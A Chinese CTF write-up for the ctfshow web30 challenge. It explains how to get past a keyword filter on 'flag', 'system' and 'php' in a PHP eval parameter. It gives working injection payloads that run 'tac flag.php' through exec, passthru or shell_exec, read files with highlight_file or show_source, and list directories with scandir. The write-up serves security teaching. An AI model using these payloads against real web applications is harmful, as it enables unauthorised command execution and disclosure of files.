当前位置: 首页 > news >正文

[ctfshow web入门] web30

信息收集

题目将flag system php不区分大小写地过滤了
在这里插入图片描述

解题

前置知识

print_r:php中用于打印数组
scandir:php中用于获取指点目录下的所以文件目录名
getcwd:获取当前目录

目录获取

这里提供两种方法
print_r(scandir(getcwd()));
print_r(scandir("."));

在这里插入图片描述

获取flag

我只提供一些思路,起到抛砖引玉的作用,我也不可能列举所有的方案

方法1

只过滤$c,我们只要不在c里写那些关键词就可以了
可以在php里执行系统指令的函数有:exec(), system(), passthru(), shell_exec()
这四个函数详细情况参考https://www.jb51.net/program/2850207z8.htm
ban掉了system还有三个,任选一个即可

?c=exec($_GET[1], $a);print_r($a);&1=tac flag.php
?c=passthru($_GET[1]);&1=tac flag.php
?c=echo shell_exec($_GET[1]);&1=tac flag.php
?c=echo shell_exec("tac fla*"); //tac fla?????

在这里插入图片描述

方法2

不使用系统指令,使用php函数同样可以

?c=highlight_file($_GET[1]);&1=flag.php
?c=show_source($_GET[1]);&1=flag.php

在这里插入图片描述
web    目录    web

相关文章:

  • Qt子模块的功能介绍
  • Python星球日记 - 第15天:综合复习(回顾前14天所学知识)
  • git命令自动拉去远程分支到本地
  • 基于RoboTwin的数据训练RDT开源VLA模型
  • 牛客华为机试--HJ48 从单向链表中删除指定值的节点C++
  • 典型反模式深度解析及重构方案
  • 什么是 Git?为什么要用版本控制?
  • Python爬虫第三战(使用session登录小说网获取书单)
  • 蓝桥备赛指南(14):树的直径与重心
  • 判断矩阵A和矩阵B是否相似?
  • 解决使用PendingIntent.getBroadcast时出现java.lang.IllegalArgumentException异常的问题
  • (四十)Dart 中的空安全(Null Safety)教程
  • Web品质 - 重要的HTML元素
  • Linux 命令清单(Linux Command List)
  • MySQL随机获取记录之方法(The Method of Randomly Obtaining Records in MySQL)
  • 【python3】关于等额本金和等额本息计算
  • Activiti(二)- 基于SpringBoot开发配置activiti相关配置项
  • 深入理解C++面向对象特性之一 多态
  • Linux驱动开发进阶(六)- 多线程与并发
  • Redis到底能不能做主数据库?
  • 四川甘孜炉霍县觉日寺管委会主任呷玛降泽被查
  • 车主质疑零跑汽车撞车后AEB未触发、气囊未弹出,4S店:其把油门当刹车
  • 泰山、华海、中路等山东险企综合成本率均超100%,承保业务均亏损
  • 思想史家陈谷嘉逝世,曾为岳麓书院当代复兴奠定重要基础
  • 古巴外长谴责美国再次将古列为“反恐行动不合作国家”
  • 75万买299元路由器后续:重庆市纪委、财政局、教委联合调查